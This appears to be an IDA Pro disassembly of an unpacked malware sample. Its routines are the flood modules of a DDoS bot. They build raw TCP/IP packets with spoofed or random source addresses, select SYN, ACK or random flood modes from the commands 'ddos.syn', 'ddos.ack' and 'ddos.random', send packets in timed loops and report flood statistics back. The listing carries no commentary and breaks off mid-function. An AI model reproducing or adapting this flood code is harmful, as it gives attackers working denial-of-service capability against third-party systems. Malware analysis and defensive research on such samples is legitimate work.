; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5AE68E7DF89472933268747092E17F76 ; File Name : u:\work\5ae68e7df89472933268747092e17f76_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001E000 ( 122880.) ; Section size in file : 0001E000 ( 122880.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40CC09+35A5o ; _0xtwbvzc:0075815Co var_394 = byte ptr -394h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call ds:dword_41F044 ; GetTickCount push eax call sub_413864 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013E9 push eax lea eax, [ebp+var_394] push offset unk_421040 push eax call sub_413812 xor esi, esi add esp, 20h cmp [ebp+var_8], esi jnz short loc_401090 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40B2B5 add esp, 14h loc_401090: ; CODE XREF: sub_401000+6Ej lea eax, [ebp+var_394] push eax call sub_409833 push [ebp+var_290] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B2 proc near ; CODE XREF: sub_4013E9+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_44CC60 ; WSAStartup test eax, eax jz short loc_4010F2 xor eax, eax jmp loc_4013E5 ; --------------------------------------------------------------------------- loc_4010F2: ; CODE XREF: sub_4010B2+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_44CD7C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013DD push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_44CCBC ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4013D3 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_44CCDC ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_44CCDC ; ntohs push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_44CCDC ; ntohs mov [ebp+var_12], ax call sub_41386E movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_44CCDC ; ntohs push 12345678h mov [ebp+var_14], ax call dword_44CCD8 ; ntohl push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4011C2 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011C2: ; CODE XREF: sub_4010B2+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_4011DE mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401216 ; --------------------------------------------------------------------------- loc_4011DE: ; CODE XREF: sub_4010B2+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_413C30 pop ecx test eax, eax pop ecx jnz short loc_401216 call sub_41386E push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41386E push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401216: ; CODE XREF: sub_4010B2+10Ej ; sub_4010B2+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_44CCDC ; ntohs mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call ds:off_41F04C lea eax, [ebp+var_1C] push eax call ds:off_41F048 push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_413CC0 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401264: ; CODE XREF: sub_4010B2+2E2j ; sub_4010B2+2F0j mov [ebp+var_4], bx call sub_41386E cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_44CCDC ; ntohs mov [ebp+var_14], ax call sub_41386E mov edi, eax shl edi, 10h call sub_41386E or edi, eax push edi call dword_44CCDC ; ntohs movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_44CCD8 ; ntohl mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_44CCDC ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_4138F0 lea eax, [ebp+var_B4] push 34h push eax call sub_408AB6 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_4138F0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_413890 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_408AB6 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_44CD3C ; sendto cmp eax, 0FFFFFFFFh jz short loc_4013A7 add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call ds:off_41F048 mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D0 jl loc_401264 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D0 jmp loc_401264 ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: sub_4010B2+2CBj call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_421078 push eax call sub_413812 lea eax, [ebp+var_F4] push eax call sub_409833 add esp, 10h jmp short loc_4013D3 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: sub_4010B2+2E0j ; sub_4010B2+2EEj mov ebx, [ebp+arg_8] loc_4013D3: ; CODE XREF: sub_4010B2+78j ; sub_4010B2+31Cj push [ebp+var_20] call dword_44CD70 ; closesocket pop esi loc_4013DD: ; CODE XREF: sub_4010B2+5Bj call dword_44CC48 ; WSACleanup mov eax, ebx loc_4013E5: ; CODE XREF: sub_4010B2+3Bj pop edi pop ebx leave retn sub_4010B2 endp ; =============== S U B R O U T I N E ======================================= sub_4013E9 proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_408947 push [esp+10h+arg_4] mov esi, eax call sub_413D7F push [esp+14h+arg_C] mov ebx, eax call sub_413D7F mov edi, eax call sub_41386E cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B2 add esp, 20h test eax, eax jnz short loc_401438 push 1 pop eax loc_401438: ; CODE XREF: sub_4013E9+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401447 proc near ; DATA XREF: sub_40CC09+378Do var_2BC = byte ptr -2BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] rep movsd push 1 mov ebx, 0FFh pop esi push ebx push 3 push 2 mov [eax+19Ch], esi call dword_44CD58 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E3 call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_2BC] push offset unk_421204 push eax call sub_413812 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C6 push edi lea eax, [ebp+var_2BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40B2B5 add esp, 14h loc_4014C6: ; CODE XREF: sub_401447+5Dj lea eax, [ebp+var_2BC] push eax call sub_409833 push [ebp+var_38] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 loc_4014E3: ; CODE XREF: sub_401447+3Bj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], esi call dword_44CCBC ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_40155A call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_2BC] push offset unk_4211BC push eax call sub_413812 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153D push edi lea eax, [ebp+var_2BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40B2B5 add esp, 14h loc_40153D: ; CODE XREF: sub_401447+D4j lea eax, [ebp+var_2BC] push eax call sub_409833 push [ebp+var_38] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 loc_40155A: ; CODE XREF: sub_401447+B4j lea eax, [ebp+var_1B8] push eax call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4015C1 lea eax, [ebp+var_2BC] push offset unk_42118C push eax call sub_413812 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A4 push edi lea eax, [ebp+var_2BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40B2B5 add esp, 14h loc_4015A4: ; CODE XREF: sub_401447+13Bj lea eax, [ebp+var_2BC] push eax call sub_409833 push [ebp+var_38] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 loc_4015C1: ; CODE XREF: sub_401447+123j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_413890 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_44CCDC ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_44CD18 ; inet_addr mov esi, ds:dword_41F044 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax loc_4015FF: ; CODE XREF: sub_401447+2EDj call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AA push 41Ch mov byte_4385E0, 45h call dword_44CCDC ; ntohs cmp [ebp+var_2C], edi mov word_4385E2, ax mov word_4385E4, 1 mov word_4385E6, di mov byte_4385E8, 80h mov byte_4385E9, 1 mov word_4385EA, di jz short loc_40168A call sub_41386E mov ebx, eax shl ebx, 8 call sub_41386E add ebx, eax shl ebx, 8 call sub_41386E add ebx, eax shl ebx, 8 call sub_41386E add ebx, eax mov dword_4385EC, ebx mov ebx, 0FFh jmp short loc_4016A2 ; --------------------------------------------------------------------------- loc_40168A: ; CODE XREF: sub_401447+20Fj push [ebp+var_1BC] call sub_408A5D pop ecx push eax call dword_44CD18 ; inet_addr mov dword_4385EC, eax loc_4016A2: ; CODE XREF: sub_401447+241j mov eax, [ebp+var_18] mov dword_4385F0, eax call sub_41386E cdq mov ecx, 100h idiv ecx mov byte_4385F4, dl call sub_41386E cdq mov ecx, 100h idiv ecx mov byte_4385F5, dl call sub_41386E cdq mov ecx, 0F0h push 400h idiv ecx mov word_4385F6, di mov word_4385FA, 1 inc edx mov word_4385F8, dx call sub_41386E cdq mov ecx, ebx idiv ecx push edx push offset dword_4385FC call sub_413890 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_4385E0 push [ebp+var_4] call dword_44CD3C ; sendto cmp eax, 0FFFFFFFFh jz short loc_401739 inc [ebp+arg_0] jmp loc_4015FF ; --------------------------------------------------------------------------- loc_401739: ; CODE XREF: sub_401447+2E8j push [ebp+var_4] call dword_44CD70 ; closesocket call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42112C lea eax, [ebp+var_2BC] push ebx push eax call sub_413D8A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178D push edi lea eax, [ebp+var_2BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40B2B5 add esp, 14h loc_40178D: ; CODE XREF: sub_401447+324j lea eax, [ebp+var_2BC] push eax call sub_409833 push [ebp+var_38] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 loc_4017AA: ; CODE XREF: sub_401447+1C9j push [ebp+var_4] call dword_44CD70 ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_2BC] push offset unk_4210CC push eax call sub_413812 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401812 push edi lea eax, [ebp+var_2BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40B2B5 add esp, 14h loc_401812: ; CODE XREF: sub_401447+3A9j lea eax, [ebp+var_2BC] push eax call sub_409833 push [ebp+var_38] call sub_4135DA pop ecx pop ecx push edi call ds:off_41F040 sub_401447 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182F proc near ; DATA XREF: sub_40CC09+3496o var_314 = byte ptr -314h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 314h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7D push eax lea eax, [ebp+var_314] push offset unk_421248 push eax call sub_413812 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AC push esi lea eax, [ebp+var_314] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40B2B5 add esp, 14h loc_4018AC: ; CODE XREF: sub_40182F+5Bj lea eax, [ebp+var_314] push eax call sub_409833 push [ebp+var_10] call sub_4135DA pop ecx pop ecx push esi call ds:off_41F040 pop edi pop esi sub_40182F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CB proc near ; CODE XREF: sub_401B7D+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_44CC60 ; WSAStartup test eax, eax jz short loc_40190B xor eax, eax jmp loc_401B79 ; --------------------------------------------------------------------------- loc_40190B: ; CODE XREF: sub_4018CB+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_44CD7C ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401B71 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_44CCBC ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B67 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_413890 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_44CCDC ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_44CCDC ; ntohs push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_44CCDC ; ntohs push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_44CCDC ; ntohs mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call ds:off_41F04C lea eax, [ebp+var_8] push eax call ds:off_41F048 push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_413CC0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4019F6: ; CODE XREF: sub_4018CB+25Dj ; sub_4018CB+26Bj mov [ebp+var_24], bx call sub_41386E cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_44CCDC ; ntohs mov [ebp+var_34], ax call sub_41386E mov edi, eax shl edi, 10h call sub_41386E or edi, eax push edi call dword_44CCDC ; ntohs movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_44CCD8 ; ntohl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_44CCDC ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_4138F0 lea eax, [ebp+var_B4] push 34h push eax call sub_408AB6 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_4138F0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_413890 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_408AB6 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4138F0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_44CD3C ; sendto cmp eax, 0FFFFFFFFh jz short loc_401B3B add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call ds:off_41F048 mov eax, [ebp+var_4] cmp eax, esi jg short loc_401B64 jl loc_4019F6 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401B64 jmp loc_4019F6 ; --------------------------------------------------------------------------- loc_401B3B: ; CODE XREF: sub_4018CB+247j call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_421280 push eax call sub_413812 lea eax, [ebp+var_F4] push eax call sub_409833 add esp, 10h jmp short loc_401B67 ; --------------------------------------------------------------------------- loc_401B64: ; CODE XREF: sub_4018CB+25Bj ; sub_4018CB+269j mov ebx, [ebp+arg_8] loc_401B67: ; CODE XREF: sub_4018CB+78j ; sub_4018CB+297j push [ebp+var_C] call dword_44CD70 ; closesocket pop esi loc_401B71: ; CODE XREF: sub_4018CB+5Bj call dword_44CC48 ; WSACleanup mov eax, ebx loc_401B79: ; CODE XREF: sub_4018CB+3Bj pop edi pop ebx leave retn sub_4018CB endp ; =============== S U B R O U T I N E ======================================= sub_401B7D proc near ; CODE XREF: sub_40182F+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_408947 push [esp+10h+arg_4] mov esi, eax call sub_413D7F push [esp+14h+arg_8] mov ebx, eax call sub_413D7F mov edi, eax call sub_41386E cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4018CB add esp, 1Ch test eax, eax jnz short loc_401BC8 push 1 pop eax loc_401BC8: ; CODE XREF: sub_401B7D+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BD7 proc near ; DATA XREF: sub_40CC09+28D5o var_340 = byte ptr -340h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 340h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_41F044 call edi ; GetTickCount push eax call sub_413864 pop ecx push 0FFh push 3 push 2 call dword_44CD58 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401CA0 call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_340] push offset unk_4213F8 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401C80 push ebx lea eax, [ebp+var_340] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40B2B5 add esp, 14h loc_401C80: ; CODE XREF: sub_401BD7+84j lea eax, [ebp+var_340] push eax call sub_409833 push [ebp+var_BC] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 loc_401CA0: ; CODE XREF: sub_401BD7+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_44CCBC ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401D1E call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_340] push offset unk_4213B0 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401CFE push ebx lea eax, [ebp+var_340] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40B2B5 add esp, 14h loc_401CFE: ; CODE XREF: sub_401BD7+102j lea eax, [ebp+var_340] push eax call sub_409833 push [ebp+var_BC] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 loc_401D1E: ; CODE XREF: sub_401BD7+DFj lea eax, [ebp+var_23C] push eax call dword_44CD18 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401D8E lea eax, [ebp+var_340] push offset unk_421380 push eax call sub_413812 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401D6E push ebx lea eax, [ebp+var_340] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_40B2B5 add esp, 14h loc_401D6E: ; CODE XREF: sub_401BD7+172j lea eax, [ebp+var_340] push eax call sub_409833 push [ebp+var_BC] call sub_4135DA pop ecx pop ecx push ebx call ds:off_41F040 loc_401D8E: ; CODE XREF: sub_401BD7+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_413890 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_44CCDC ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_44CD18 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_401DC6: ; CODE XREF: sub_401BD7+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_40208A push 28h mov [ebp+var_2C], 45h call dword_44CCDC ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401E39 call sub_41386E mov esi, eax shl esi, 8 call sub_41386E add esi, eax shl esi, 8 call sub_41386E add esi, eax shl esi, 8 call sub_41386E add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_401E4F ; 